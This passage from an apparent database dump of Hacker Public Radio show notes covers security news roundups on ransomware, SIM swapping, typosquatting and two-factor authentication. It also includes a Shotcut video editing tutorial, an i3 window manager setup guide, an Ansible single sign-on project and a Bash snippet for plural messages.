incoming SMS messages and intercept\none-time passwords (OTPs) sent by banks.</p>\n<p>The new wave of hybrid fraud attacks presents a new dimension for\nscammers to mount convincing Android malware campaigns that have\notherwise relied on traditional methods such as Google Play Store\ndroppers, rogue ads, and smishing.</p>\n<h2 id=\"the-hacker-news-2\">The Hacker News</h2>\n<h3\nid=\"64000-additional-patients-impacted-by-omnicell-data-breach---what-is-your-data-breach-action-plan\">64,000\nAdditional Patients Impacted by Omnicell Data Breach - What is Your Data\nBreach Action Plan?</h3>\n<p>Founded in 1992, Omnicell is a leading provider of medication\nmanagement solutions for hospitals, long-term care facilities, and\nretail pharmacies. On May 4, 2022, Omnicell\'s IT systems and third-party\ncloud services were affected by ransomware attacks which may lead to\ndata security concerns for employees and patients. While it is still\nearly in the investigation, this appears to be a severe breach with\npotentially significant consequences for the company.</p>\n<p>Omnicell began informing individuals whose information may have been\ncompromised on August 3, 2022. Hackers may be able to access and sell\npatient-sensitive information, such as social security numbers, due to\nthe time delay between the breach and the company\'s report of affected\npatients.</p>\n<p>The type of information that may be exposed are:</p>\n<ul>\n<li>Credit card information.</li>\n<li>Financial information.</li>\n<li>Social security numbers.</li>\n<li>Driver\'s license numbers.</li>\n<li>Health insurance details.</li>\n</ul>\n<p>The healthcare industry is one of the most targeted sectors globally,\nwith attacks doubling year over year. And these costs are measured in\nmillions or even billions of dollars - not to mention increased risks\nfor patients\' privacy (and reputation).</p>\n<h2 id=\"the-washington-post\">The Washington Post</h2>\n<h3 id=\"how-to-protect-schools-getting-whacked-by-ransomware\">How to\nprotect schools getting whacked by ransomware.</h3>\n<p>Ransomware gangs are taking Americans to school. So far this year,\nhackers have taken hostage at least 1,735 schools in 27 districts; the\nmassive Los Angeles Unified School District is their latest target.</p>\n<p>Ransomware hackers breach computers, lock them up, steal sensitive\ndata and demand money to release their hold on organizations&#x2019; critical\nsystems. These criminals often attack schools because they are\nprofitable targets. If all ransomware victims refused to pay, the\nattacks would stop. Indeed, paying up might be illegal: The <a\nhref=\"https://home.treasury.gov/news/press-releases/jy0364\">Treasury\nDepartment released guidance</a> last year noting that giving money to\nglobal criminal organizations can violate sanctions law.</p>\n<p>The trouble is, saying no isn&#x2019;t always easy. Los Angeles didn&#x2019;t\ncapitulate, and the criminals leaked a trove of data &#x2014; a consequence\nthat can prove more or less serious depending on the sensitivity of the\nstolen information.</p>\n<p>&#x201C;Because we can,&#x201D; said a representative of the ransomware gang that\ntook down Los Angeles Unified School District, explaining the\ncollective&#x2019;s motivations to a Bloomberg News reporter. Schools&#x2019; task is\nto turn &#x201C;can&#x201D; to &#x201C;can&#x2019;t&#x201D; &#x2014; or, at least, to make success pay a whole lot\nless.</p>\n<h2 id=\"cnet-news\">CNET News.</h2>\n<h3\nid=\"verizon-alerts-prepaid-customers-to-recent-security-breach\">Verizon\nAlerts Prepaid Customers to Recent Security Breach.</h3>\n<p>Verizon notified prepaid customers this week of a recent cyberattack\nthat granted third-party actors access to their accounts, as reported\nearlier Tuesday by BleepingComputer. The attack occurred between Oct. 6\nand Oct. 10 and affected 250 Verizon prepaid customers.</p>\n<p>The breach exposed the last four digits of customers\' credit cards\nused to make payments on their prepaid accounts. While no full credit\ncard information was accessible, the information was enough to grant the\nattackers access to Verizon user accounts, which hold semi-sensitive\ndata such \"name, telephone number, billing address, price plans, and\nother service-related information,\" per a notice from Verizon.</p>\n<p>Account access also potentially enabled attackers to process\nunauthorized SIM card changes on prepaid lines. Also known as SIM\nswapping, unauthorized SIM card changes can allow for the transfer of an\nunsuspecting person\'s phone number to another phone.</p>\n<p>From there, the counterfeit phone can be used to receive SMS messages\nfor password resets and user identification verifications on other\naccounts, giving attackers potential access to any account they have, or\ncan guess, the username for. Consequently, Verizon recommended affected\ncustomers secure their non-Verizon accounts such as social media,\nfinancial, email and other accounts that allow for password resets by\nphone.</p>\n',391,0,0,'CC-BY-SA','Threat Analysis, Security Breach, Ransomware, Data Breach, TOAD',0,0,1),
(3717,'2022-11-01','Video editing with Shotcut on a low end PC',695,'In this episode I explain how I use the shotcut video editor to edit video on a low end PC.','<h2 id=\"links\">Links</h2>\n<p><a href=\"https://shotcut.org/\">Shotcut video editor website</a></p>\n<h2 id=\"useful-shortcut-keys-for-the-shotcut-video-editor\">Useful\nShortcut keys for the Shotcut video editor</h2>\n<pre><code>C = copy\nV = paste\nA = duplicate\nX = ripple delete\nCtrl + X = ripple delete but send to clipboard\nS = split</code></pre>\n<h2 id=\"tip-not-covered-in-my-podcast\">Tip not covered in my\nPodcast</h2>\n<p>Splits are not fixed and can be adjusted. Once you\'ve split up clips\nand put them in the right order on the timeline you can still adjust the\ncut point even though you previously split the clip because the clip is\nreferenced to the original file in the playlist.</p>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hello and welcome Hacker Public Radio audience my name is Mr X\nwelcome to this podcast. As per usual I\'d like to start by thanking the\npeople at HPR for making this podcast possible. HPR is a Community led\npodcast provided by the community for the community that means you can\ncontribute to. The HPR team have gone to great deal of effort to\nsimplify and streamline the process of providing podcasts. There are\nmany ways to record an episode these days using phones tablets PCs and\nalike. The hardest barrier is sending in your first show. Don\'t get too\nhung up about quality, it\'s more important just to send something in.\nThe sound quality of some of my early shows wasn\'t very good. If I can\ndo it anyone can and you might just get hooked in the process.</p>\n<p>Well it\'s been almost a year since I\'ve sent in a show. Looking at\nthe HPR site my last episode was back in November 2021. I suspect like\nmany others life has become more complicated and I find I have much less\nspare time and because I have much less spare time I have much less time\nto pursue my hobbies and because of this I have less to speak about and\nbecause of this I have less time to record what I\'ve been doing and it\nall turns into to vicious circle. Fortunately I recently had some time\noff work and had a lovely holiday. During the holiday I ended up\nrecording some video which I decided I wanted to edit. I\'ve done some\nvideo editing in the past using various video editing packages. The best\nand most recent of which is shotcut.</p>\n<h2 id=\"specific-details-and-equipment\">Specific details and\nequipment</h2>\n<p>Video resolution 1920 x 1080, Codec h264 mpeg-4, Frame rate 30 frames\nper second.</p>\n<p>Computer Dell Optiplex 780. Fitted with 4 GB of internal RAM and\nonboard video graphics card.</p>\n<p>Shotcut version 22.06.23 Shotcut is a free open-source cross-platform\nvideo editor licenced under the GNU general public licence version\n3.0</p>\n<p>This episode will only cover basic shotcut video editing techniques.\nShotcut contains many advanced features and effects that will not be\ncovered in this episode. A lot of the workflow I&#x2019;ll share with you today\nis intended to get around limitations imposed by my low spec PC</p>\n<p>I\'ll try my best to cover the video editing process in this podcast\nusing words alone; however I am conscious that an accompanying video\nwould make it easier to follow along.</p>\n<h2 id=\"shotcut-workflow\">Shotcut workflow</h2>\n<p>Start by creating a folder to hold all the required media files.\nAudio tracks and sound effects can be added to this folder later. Make\nsure all your video files are using the same frame rate in my case 30\nframes per second.</p>\n<p>Open each video file in VLC one at a time going through each video\nfile looking for the best portions of video. Make a note of where the\nbest portions of the video are by writing down the start and end points\nin minutes and seconds.</p>\n<p>I do this because the interface of VLC is more responsive than\nshortcut and the resolution of displayed video is far greater than the\npreview in shortcut. This makes it quicker and easier to find the best\nportions of video.</p>\n<p>Open shortcut and make sure the new project is set to the same frames\nper second as the media files you\'re working with, in my case 30 frames\nper second. You can check the frame rate of your project by looking at\nthe selected video mode in the new projects window. If you select\nautomatic it will ensure the project resolution and frame rate\nautomatically match that of your media files.</p>\n<p>Start by adding all the video files to the playlist, this can be done\nin a number of ways for example it can be done by clicking on the open\nfile button in the top toolbar or within the open files menu.\nAlternatively you can drag and drop files into the playlist. I find this\nto be the easiest way to add media files to a project. Once this is done\nsave your project.</p>\n<p>Drag the first file from the Playlist to the timeline making sure\nthat the start of the video starts at 0 seconds.</p>\n<p>Click on the timeline in the position where the first start point of\ninterest is needed. Use the S key to split the video at this point.\nDon\'t worry about being too accurate as this can be moved at a later\nstage.</p>\n<p>Repeat this process for the end point of interest.</p>\n<p>Repeat this again for all the other sections of start and end points\nof interest.</p>\n<p>Remove the unwanted sections of video by clicking on a section then\nhitting the delete key. This will remove the unwanted section leaving an\nempty space behind.</p>\n<p>Once all the unwanted sections are removed click on the sections of\nvideo and pull them to the left to close the gaps up. I find it useful\nto leave some space between the good sections of video as it makes it\neasier to see where splits are and makes it easier later on to rearrange\nthe order of the individual clips.</p>\n<p>Check the start and end points of the remaining sections of video to\nsee that the start and end points stop in the correct place. You can do\nthis by clicking the play button on the preview window. The video start\nand end points can be adjusted by dragging the section left or right in\nin the timeline section; this is where leaving spaces Between each\nsection of video can be handy as it allows for fine tuning.</p>\n<p>Add a new blank video track to the timeline to hold the next video.\nNote this wasn\'t required when adding the first video track but it is\nneeded for each subsequent track. A video track can be added by right\nclicking on an empty portion of the timeline and selecting add video\ntrack. Alternatively use the ctrl + I key.</p>\n<p>Drag your second video from the playlist onto the newly created blank\nvideo track in the timeline. As before make sure that the start of the\nvideo starts at 0 seconds.</p>\n<p>Before previewing any section of the second video track click the\nsmall eye shaped hide icon in the left section of the first video track\nlabelled output. This will prevent previewing both video tracks at the\nsame time.</p>\n<p>Repeat the process above of chopping the second video track into\nsections using the S key to split the video up. Remove the unwanted\nsections. Finally adjust the start and end points of the remaining\nsections.</p>\n<p>Repeat the steps above to add the remaining video files one at a time\nfrom the playlist to the timeline.</p>\n<p>When complete you end up with separate video tracks in the timeline\neach containing good sections of video.</p>\n<p>At this stage I can\'t be too specific about how to continue as there\nare a number of different options depending on your particular Project.\nYou can for example start by combining the good sections of video into\none video track by dragging them from one track to another then add if\nrequired an audio track or you can add the audio track first and then\ntry to sync things up to the audio track moving bits and pieces of video\ninto one video track remembering to hide the unwanted sections of video\nby clicking on the small hide eye icons. Don\'t do too much editing\nwithout saving the project. If you get a message about low memory save\nthe project then reopen it.</p>\n<p>To export the final video click on the export button in the toolbar.\nI pick the default option, this creates an H.264/AAC MP4 file suitable\nfor most users and purposes. You can check the frame rate is the same as\nyour original media files by clicking on the advanced tab. Click the\nexport file button and give it a file name. It may take some time to\ncreate the export file. This will be dependent on the speed of your\ncomputer and the length and resolution of your project.</p>\n<p>While Shotcut is far from perfect on my puny PC it is surprisingly\nusable and stable and is the best option I&#x2019;ve found so far.</p>\n<p>Finally here are some general shotcut tips I have when doing video\nediting on a puny PC with limited ram, slow processor and built in\ngraphics card such as mine.</p>\n<h2 id=\"general-tips-when-working-with-a-low-powered-pc\">General Tips\nwhen working with a low powered PC</h2>\n<p>Close all open applications leaving only shortcut open this helps\nwith RAM usage</p>\n<p>Shortcut is surprisingly stable with a feeble PC such as mine. I\nwould still recommend saving your project regularly as it is quick and\nvery easy to do.</p>\n<p>If you get a message about running out of RAM then try not to do too\nmuch more editing before saving the project. Once saved close shotcut\nand then reopen it. The longer your project is and the higher your\nproject resolution the more RAM you will need.</p>\n<p>When you are about to export your final video save the project close\nshortcut reopen shotcut and immediately export your project as any\nprevious editing may be taking up precious ram.</p>\n<p>Be patient when clicking on the timeline to repositioned the play\nhead. Always wait for the preview window to update. This can sometimes\ntake a few seconds.</p>\n<p>When trying to sync video to audio you need to zoom in in quite a\nlong way before getting an audio preview. When doing this and moving the\nplay head you\'ll get a choppy version of the audio with this it is still\nperfectly possible to find the beat of the music allowing you to sync\nyour video to the music. If this doesn\'t seem to work for you then try\nzooming in closer.</p>\n<p>Ok that\'s about it for this podcast. Hope it wasn\'t too boring and it\nmade some sense. If you want to contact me I can be contacted at\nmrxathpr at googlemail.</p>\n<p>Thank you and goodbye.</p>\n',201,0,0,'CC-BY-SA','workflow, tips, video, editing, application',0,0,1),
(3719,'2022-11-03','HPR News',594,'InfoSec; the language of security.','<h1 id=\"infosec-the-language-of-security\">InfoSec; the language of\nsecurity.</h1>\n<h2 id=\"what-is-typosquatting-and-how-do-scammers-use-it\"><a\nhref=\"https://www.howtogeek.com/devops/what-is-typosquatting-and-how-do-scammers-use-it/\">What\nis Typosquatting and How Do Scammers Use it?</a></h2>\n<ul>\n<li>Typosquatting, as an attack, uses modified or misspelled domain\nnames to trick users into visiting fraudulent websites; the heart of\nthis attack is domain name registration. Typosquatting is deployed by\nscammers to defraud unaware users. Attackers will attempt to: mimic\nlogin pages, redirect traffic, download malware, and extort users.</li>\n<li><strong>Past Known Typosquatting Attacks.</strong>\n<ul>\n<li><a\nhref=\"https://thehackernews.com/2021/07/several-malicious-typosquatted-python.html\">Several\nMalicious Typosquatted Python Libraries Found On PyPI\nRepository</a></li>\n<li><a\nhref=\"https://thehackernews.com/2020/04/rubygem-typosquatting-malware.html\">Over\n700 Malicious Typosquatted Libraries Found On RubyGems\nRepository</a></li>\n<li><a\nhref=\"https://blog.rust-lang.org/2022/05/10/malicious-crate-rustdecimal.html\">Security\nadvisory: malicious crate rustdecimal</a></li>\n<li><a\nhref=\"https://blog.sonatype.com/this-week-in-malware-may-13th-edition\">This\nWeek in Malware-Malicious Rust crate, \'colors\' Typosquats</a></li>\n</ul></li>\n<li><strong>Solutions to Typosquatting.</strong>\n<ul>\n<li><a\nhref=\"https://opensource.com/article/20/1/stop-typosquatting-attacks\">How\nto stop typosquatting attacks</a></li>\n<li><a\nhref=\"https://www.howtogeek.com/363735/what-is-a-checksum-and-why-should-you-care/\">What\nIs a Checksum (and Why Should You Care)?</a></li>\n<li><a href=\"https://docs.pi-hole.net/\">PiHole</a></li>\n<li><a href=\"https://design.ubuntu.com/font/\">Ubuntu font\nfamily</a></li>\n</ul></li>\n<li><strong>DNS monitoring services.</strong>\n<ul>\n<li>Link to dnstwister: <a\nhref=\"https://dnstwister.report/\">https://dnstwister.report/</a></li>\n<li>Link to whois: <a\nhref=\"https://www.whois.com/whois\">https://www.whois.com/whois</a></li>\n</ul></li>\n<li><strong>Password Managers.</strong>\n<ul>\n<li>Link to bitwarden: <a\nhref=\"https://bitwarden.com/\">https://bitwarden.com/</a></li>\n<li>Link to keepassxc: <a\nhref=\"https://keepassxc.org/\">https://keepassxc.org/</a></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"two-factor-and-multifactor-authentication\">Two-factor and\nMultifactor Authentication.</h2>\n<ul>\n<li><p>First, authentication. This is the process of verifying the\nvalidity of something; in our case, user credentials/identity. The most\ncommon way to authenticate is: <em>USERNAME</em> and <em>PASSWORD</em>.\nThis is just a single layer (single-factor authentication) and isn&#x2019;t\nenough to discourage attackers.</p></li>\n<li><p>Second, 2FA (Two-factor Authentication). 2FA increases the\ndifficulty for attackers by providing users an additional layer of\nsecurity to accomplish authentication. Common 2FA methods are: TOTP/OTP\n(<em>the</em> <strong>One Time Password</strong>), Authenticator\nApplications (<a href=\"https://bitwarden.com/\">Bitwarden</a>, <a\nhref=\"https://keepassxc.org/\">KeePassXC</a>,...), and Security Keys (<a\nhref=\"https://www.yubico.com/\">Yubikey</a>). This works similar to ATMs;\nto authenticate the user must provide both knowledge (account\n<strong>PIN</strong>) and a physical object (bank card).</p></li>\n<li><p>Last, but not least, MFA (Multifactor Authentication). Similar to\n2FA, MFA offers users security with the addition of biometrics\n(fingerprint scan, retina scan, facial recognition, and voice\nrecognition). Attackers must overcome the knowledge factor, Possession\nfactor, Inherence/Biometric factor, Time factor, and sometimes Location\nfactor.</p></li>\n<li><p><strong>MORE helpful security information.</strong></p>\n<ul>\n<li><a href=\"https://fidoalliance.org/specifications/\">FIDO Alliance\nSpecifications.</a></li>\n<li><a\nhref=\"https://bitwarden.com/help/bitwarden-field-guide-two-step-login/\">Field\nGuide to Two-Step Login.</a></li>\n</ul></li>\n<li><p><strong>2FA/MFA Known Attacks.</strong></p>\n<ul>\n<li><a\nhref=\"https://www.vice.com/en/article/y3vz5k/booming-underground-market-bots-2fa-otp-paypal-amazon-bank-apple-venmo\">Bots\nThat Steal Your 2FA Codes.</a></li>\n<li><a\nhref=\"https://thenextweb.com/news/hackers-cracking-two-factor-authentication-security-syndication\">hackers\nare cracking two-factor authentication</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','InfoSec, Typosquatting, SFA, 2FA, MFA, Security',0,0,1),
(3718,'2022-11-02','Making Ansible playbooks to configure Single Sign On for popular open source applications',239,'A small introduction into my latest project when I spoke at the recent Nextcloud 2022 conference.','<p>This is a recording of a short introduction into my latest\nproject.</p>\n<p>To help sysadmins everywhere the Onestein organization (an\norganization specialized in Odoo implementations) invested 4 month of\nresearch to create a set of easy to use Ansible playbooks to configure\nsingle sign on (SSO) for popular open source applications to enable them\nto authenticate to a Keycloak server as the central identity\nprovider.</p>\n<p>These playbooks have been published on <a\nhref=\"https://github.com/onesteinbv/project_single_sign_on\"\nclass=\"uri\">https://github.com/onesteinbv/project_single_sign_on</a>.</p>\n<p>The list of supported applications are currently:</p>\n<ul>\n<li>Bitwarden</li>\n<li>Jenkins</li>\n<li>Gitlab</li>\n<li>Keycloak (not SSO, but the identity provider)</li>\n<li>Nextcloud</li>\n<li>Odoo</li>\n<li>Xwiki</li>\n<li>Zabbix</li>\n</ul>\n<p>All playbooks and servers are for Ubuntu servers and are meant to be\nused as a starting point.</p>\n<p>5 minute YouTube talk at the 2022 Nextcloud conference about this\nproject:<br />\n<a href=\"https://www.youtube.com/watch?v=pDPKzo8Bi10\"\nclass=\"uri\">https://www.youtube.com/watch?v=pDPKzo8Bi10</a></p>\n',369,61,0,'CC-BY-SA','ansible, playbooks, sso, keycloak, single sign on',0,0,1),
(3735,'2022-11-25','i3 Tiling Window Manager',953,'i3 Tiling Window Manager with a bonus KDE Plasma integration','<h2 id=\"what-is-i3\"><em><em>What is i3?</em></em></h2>\n<ul>\n<li>Lightweight tiling window manager</li>\n<li>Configured with 2 files\n<ul>\n<li>~/.config/i3/config</li>\n<li>/etc/i3status.conf</li>\n</ul></li>\n</ul>\n<h2 id=\"multi-monitor-support\"><em><em>Multi-monitor\nsupport</em></em></h2>\n<h4 id=\"monitor-properties\"><em><em>Monitor properties</em></em></h4>\n<pre><code> xrandr -q | grep HDMI</code></pre>\n<ul>\n<li>HDMI-A-0 disconnected primary (normal left inverted right x axis y\naxis)</li>\n</ul>\n<pre><code> xrandr --prop | grep HDMI</code></pre>\n<ul>\n<li><p>HDMI-A-0 disconnected primary (normal left inverted right x axis\ny axis)</p></li>\n<li><p>supported: Unknown, VGA, DVI-D, HDMI, DP, Wireless,\nNative</p></li>\n</ul>\n<pre><code> ## dualmonitor.sh\n\n #!/bin/bash\n echo &#39;1 for on 2 for off&#39;\n read monitor\n if [ $monitor == 1 ]; then\n xrandr --output HDMI-A-0 --auto --left-of eDP\n elif [ $monitor == 2 ]; then\n xrandr --output HDMI-A-0 --off\n fi</code></pre>\n<h3 id=\"top-keybindings\"><em><em>Top keybindings</em></em></h3>\n<pre><code>Mod + O --&gt; Open Firefox\nMod + Enter --&gt; Open Terminal\nMod + M --&gt; Open the Mutt email client\nMod + Shift + M --&gt; Open the Sylpheed email client\n\nMod1 + D --&gt; Open Dmenu\nMod1 + T --&gt; Open Tenacity</code></pre>\n<h3 id=\"mod-keys\"><em><em>Mod keys</em></em></h3>\n<pre><code>mod1 Alt_L (0x40), Meta_L (0xcd)\n\nmod4 Super_L (0x85), Super_R (0x86), Super_L (0xce), Hyper_L (0xcf)</code></pre>\n<h3 id=\"area-selection-screenshots\"><em><em>Area selection\nscreenshots</em></em></h3>\n<pre><code> bindsym --release Shift+Print exec import Pictures/Screenshots/screenshot_&quot;$(date &quot;+%a %b %F_%H-%M-%S&quot;)&quot;.png</code></pre>\n<h3 id=\"screenshot-entire-screen\"><em><em>Screenshot entire\nscreen</em></em></h3>\n<pre><code> bindsym --release Print exec import -window root Pictures/Screenshots/screenshot_&quot;$(date &quot;+%a %b %F_%H-%M-%S&quot;)&quot;.png</code></pre>\n<h3 id=\"compositor\"><em><em>Compositor</em></em></h3>\n<p>picom</p>\n<h3 id=\"set-wallpaper\"><em><em>Set wallpaper</em></em></h3>\n<pre><code> exec --no-startup-id feh --bg-fill &quot;~/Pictures/Wallpaper/Star\\ Trek/STAR-TREK-Starships-star-trek-2952089-1024-768.jpg&quot;</code></pre>\n<h3 id=\"i3-with-kde\"><em><em>i3 with KDE</em></em></h3>\n<p><code>systemctl --user mask plasma-kwin_x11.service</code></p>\n<ul>\n<li>plasma-i3.service</li>\n</ul>\n<pre><code> [Install]\n WantedBy=plasma-workspace.target\n\n [Unit]\n Description=Plasma Custom Window Manager\n Before=plasma-workspace.target\n\n [Service]\n ExecStart=/usr/bin/i3\n Slice=session.slice\n Restart=on-failure</code></pre>\n<p><code>systemctl --user daemon-reload</code></p>\n<p><code>systemctl --user enable plasma-i3.service</code></p>\n<h3 id=\"files\"><em><em>Files</em></em></h3>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3735/config\"\ntitle=\"~/.config/i3/config\">~/.config/i3/config</a></p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3735/i3status.conf\"\ntitle=\"/etc/i3status.conf\">/etc/i3status.conf</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/dualmonitor.sh.txt\"\ntitle=\"dualmonitor.sh\">dualmonitor.sh</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/i3_with_kde_plasma_config.conf\"\ntitle=\"i3_with_kde_plasma_config.conf\">i3_with_kde_plasma_config.conf</a></p>\n<h3 id=\"links\"><em><em>Links</em></em></h3>\n<p><a href=\"https://en.wikipedia.org/wiki/Tiling_window_manager\"\ntitle=\"Wikipedia article on i3\">Wikipedia article on i3</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Xinerama\"\ntitle=\"Wikipedia article on Xinerama\">Wikipedia article on\nXinerama</a></p>\n<p><a href=\"https://wiki.archlinux.org/title/I3\"\ntitle=\"Archwiki entry on i3\">Archwiki entry on i3</a></p>\n<p><a href=\"https://i3wm.org/docs/userguide.html\"\ntitle=\"i3 User Guide\">i3 User Guide</a></p>\n<p><a\nhref=\"https://linuxhint.com/kde-plasma-i3wm-arch-plasma-5-25-update\"\ntitle=\"KDE/Plasma with i3wm\">KDE/Plasma with i3wm</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/screenshot_Fri_Oct_2022-10-28_06-29-33.png\"\ntitle=\"Screenshot of i3 with KDE Plasma\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3735/screenshot_Fri_Oct_2022-10-28_06-29-33_thumbnail.png\"\ntitle=\"Click on the thumbnail to see the full picture\"\nalt=\"Screenshot of i3 with KDE Plasma\" /></a></p>\n',318,11,0,'CC-BY-SA','i3wm, window manager, lightweight apps, KDE, KDE Plasma',0,0,1),
(3722,'2022-11-08','Bash snippet - plurals in messages',513,'How to use English singular and plural words in messages','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>Have you ever written a Bash script (or any shell script) where you\ngenerate a message like <code>\'Found 42 files\'</code> and the day comes\nwhen it reports <code>\'Found 1 files\'</code>?</p>\n<p>Have you been irritated by this? I have, and I go to lengths to deal\nproperly with (English) plurals in my Bash scripts.</p>\n<h2 id=\"method-1\">Method 1</h2>\n<p>The simplest solution would be to use an <code>\'if\'</code>\nstatement:</p>\n<pre><code>if [[ $fcount -eq 1 ]]; then\n echo &quot;Found 1 file&quot;\nelse\n echo &quot;Found $fcount files&quot;\nfi</code></pre>\n<p>This works, but to have to do it for every message would be a\npain!</p>\n<h2 id=\"method-2\">Method 2</h2>\n<p>The next approach to this problem might be to write a Bash\nfunction.</p>\n<pre><code>pluralise () {\n local singular=&quot;${1}&quot;\n local plural=&quot;${2}&quot;\n local count=&quot;${3}&quot;\n\n if [[ $count -eq 1 ]]; then\n echo &quot;$singular&quot;\n else\n echo &quot;$plural&quot;\n fi\n}</code></pre>\n<p>This can be called as follows:</p>\n<pre><code>$ i=1; echo &quot;Found $i $(pluralise &quot;file&quot; &quot;files&quot; $i)&quot;\nFound 1 file\n$ i=42; echo &quot;Found $i $(pluralise &quot;file&quot; &quot;files&quot; $i)&quot;\nFound 42 files</code></pre>\n<p>The string being displayed with <code>echo</code> contains a command\nsubstitution (<code>\'$(command)\'</code>) which returns\n<code>\'file\'</code> or <code>\'files\'</code> depending on the value\ngiven.</p>\n<p>The first two arguments can be more complex than plain strings:</p>\n<pre><code>$ i=1; echo &quot;There $(pluralise &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere is 1 light\n$ i=4; echo &quot;There $(pluralise &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere are 4 lights</code></pre>\n<p>The <a\nhref=\"https://hackerpublicradio.org/eps/hpr3722/pluralise.sh\"><code>pluralise</code>\nfunction</a> is available for download.</p>\n<h2 id=\"method-3\">Method 3</h2>\n<p>The GNU project has developed a set of utilities called the <em>GNU\ngettext utilities</em> consisting of tools and <a\nhref=\"https://www.gnu.org/software/gettext/\">documentation</a> for\ntranslation. This is a large subject which is not suitable for a short\nHPR episode such as this one.</p>\n<p>Among the tools is <code>\'ngettext\'</code> which performs the\nfunction we have been discussing - choosing among plural forms. It also\nimplements translations if desired (and translation files are provided\nas part of the software being developed).</p>\n<p>We will not discuss the translation topic here, but the choice of\nplurals is something that can be used in Bash scripts.</p>\n<p>The <code>\'ngettext\'</code> tool takes three mandatory\nparameters:</p>\n<ul>\n<li><em>MSGID</em> - the singular form of the text</li>\n<li><em>MSGID-PLURAL</em> - the plural form of the text</li>\n<li><em>COUNT</em> - the value used to make the singular/plural\nchoice</li>\n</ul>\n<p>There are other optional parameters and options but they are not\nrelevant here.</p>\n<p>The tool can be used in exactly the same way as the\n<code>\'pluralise\'</code> example above.</p>\n<pre><code>$ i=1; echo &quot;There $(ngettext &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere is 1 light\n$ i=4; echo &quot;There $(ngettext &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere are 4 lights</code></pre>\n<p>Whether you use this or a Bash function is your choice.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I have been using <code>ngettext</code> in my scripts since I\ndiscovered it. If you also need to provide messages in your projects in\nother languages then this might be a good idea.</p>\n<p>I admit that my understanding of the GNU <code>gettext</code> project\nis superficial, so, on reflection it might be better to use a Bash\nfunction, since I dont currently need all of the features GNU\n<code>gettext</code> provides.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3722/pluralise.sh\">The\n<code>pluralise</code> function</a>. Either add it to the script youre\ndeveloping or use the <code>\'source\'</code> command to load it.</li>\n<li><a href=\"https://www.gnu.org/software/gettext/\">GNU\n<code>gettext</code> utilities</a>, part of the <em>GNU Translation\nProject</em>.\n<ul>\n<li><a\nhref=\"https://www.gnu.org/software/gettext/manual/html_node/ngettext-Invocation.html\">Documentation\nspecific to <code>ngettext</code></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash, plural, ngettext',0,0,1),
(3723,'2022-11-09','HPR News',722,'News for the Community, by the Community.','<h1 id=\"hpr-news\">HPR News.</h1>\n<h2 id=\"threat-analysis-your-attack-surface\"><strong>Threat Analysis;\nyour attack surface.</strong></h2>\n<p><a\nhref=\"https://thehackernews.com/2022/10/european-police-arrest-gang-that-hacked.html\">Wireless\nkey fobs compromised in European nations (France, Spain, and\nLatvia)</a>. On October 10, 2022, European authorities arrested 31\nsuspects across three nations. The suspects are believed to be related\nto a cybercrime ring that allegedly advertised an &#x201C;automotive diagnostic\nsolution&#x201D; online and sent out fraudulent packages to their victims. The\nfraudulent packages contained malware and once installed onto the\nvictims vehicle, the attackers were able to unlock the vehicle, start\nthe ignition, then steal the vehicle without the physical key fob.\nEuropean authorities confiscated over &#x20AC;1 million in criminal assets\n(malicious software, tools, and an online domain).</p>\n<p><a\nhref=\"https://thehackernews.com/2022/10/researchers-claim-microsoft-office-365.html\">Microsoft\nOffice 365 has a broken encryption algorithm.</a> Microsoft Office 365\nuses an encryption algorithm called &#x201C;Office 365 Message Encryption&#x201D; to\nsend and receive encrypted email messages. The messages are encrypted in\nan Electronic Codebook (ECB). The U.S. National Institute of Standards\nand Technology (NIST) reported, \"ECB mode encrypts plaintext blocks\nindependently, without randomization; therefore, the inspection of any\ntwo ciphertext blocks reveals whether or not the corresponding plaintext\nblocks are equal\". Emails can be harvested today then decrypted later\nfor future attacks.</p>\n<h2 id=\"user-space\"><strong>User Space.</strong></h2>\n<p><a\nhref=\"https://www.cnet.com/culture/entertainment/netflixs-password-sharing-crackdown-is-coming/#ftag=CAD590a51e\">Netflix\ncrackdown on freeloaders.</a> Netflix is testing in Argentina, the\nDominican Republic, El Salvador, Guatemala, and Honduras Chile, Costa\nRica and Peru <a\nhref=\"https://about.netflix.com/en/news/paying-to-share-netflix-outside-your-household&#39;\">different\nefforts</a> to crackdown on freeloaders. The term &#x201C;freeloaders&#x201D; covers\nthe multiple users sharing a single Netflix account from different\nlocations. Netflix plans to charge an additional $3.00 - $4.00 per\nsubaccount.</p>\n<p><a\nhref=\"https://www.cnet.com/tech/services-and-software/samsung-touts-a-better-connected-smart-home-with-blockchain-security/#ftag=CADe34d7bf\">Samsung\nimplements private blockchain to link user devices.</a> While claiming\nthe private blockchain, &#x201C;has nothing to do with cryptomining&#x201D;, the Knox\nMatrix security system links all your devices together in a private\nblockchain instead using a server based group verification system. The\nsystem, Knox Matrix, is suppose to allow devices to &#x201C;manage themselves&#x201D;\nby auto updating, caching updates for other devices then distributing\nthe updates to other devices on the private blockchain.</p>\n<h2 id=\"toys-for-techs\">Toys for Techs.</h2>\n<ul>\n<li><a href=\"https://junocomputers.com/us/product/juno-tablet/\">Juno\nTablet:</a>\n<ul>\n<li><a href=\"https://www.whois.com/whois/junocomputers.com\">whois\nlookup</a></li>\n<li><a\nhref=\"https://dnstwister.report/search?ed=6a756e6f636f6d7075746572732e636f6d\">DNS\nTwister Report</a></li>\n</ul></li>\n</ul>\n<p>Juno Tablet is a Beta product; overall it works with a few bugs. This\nis 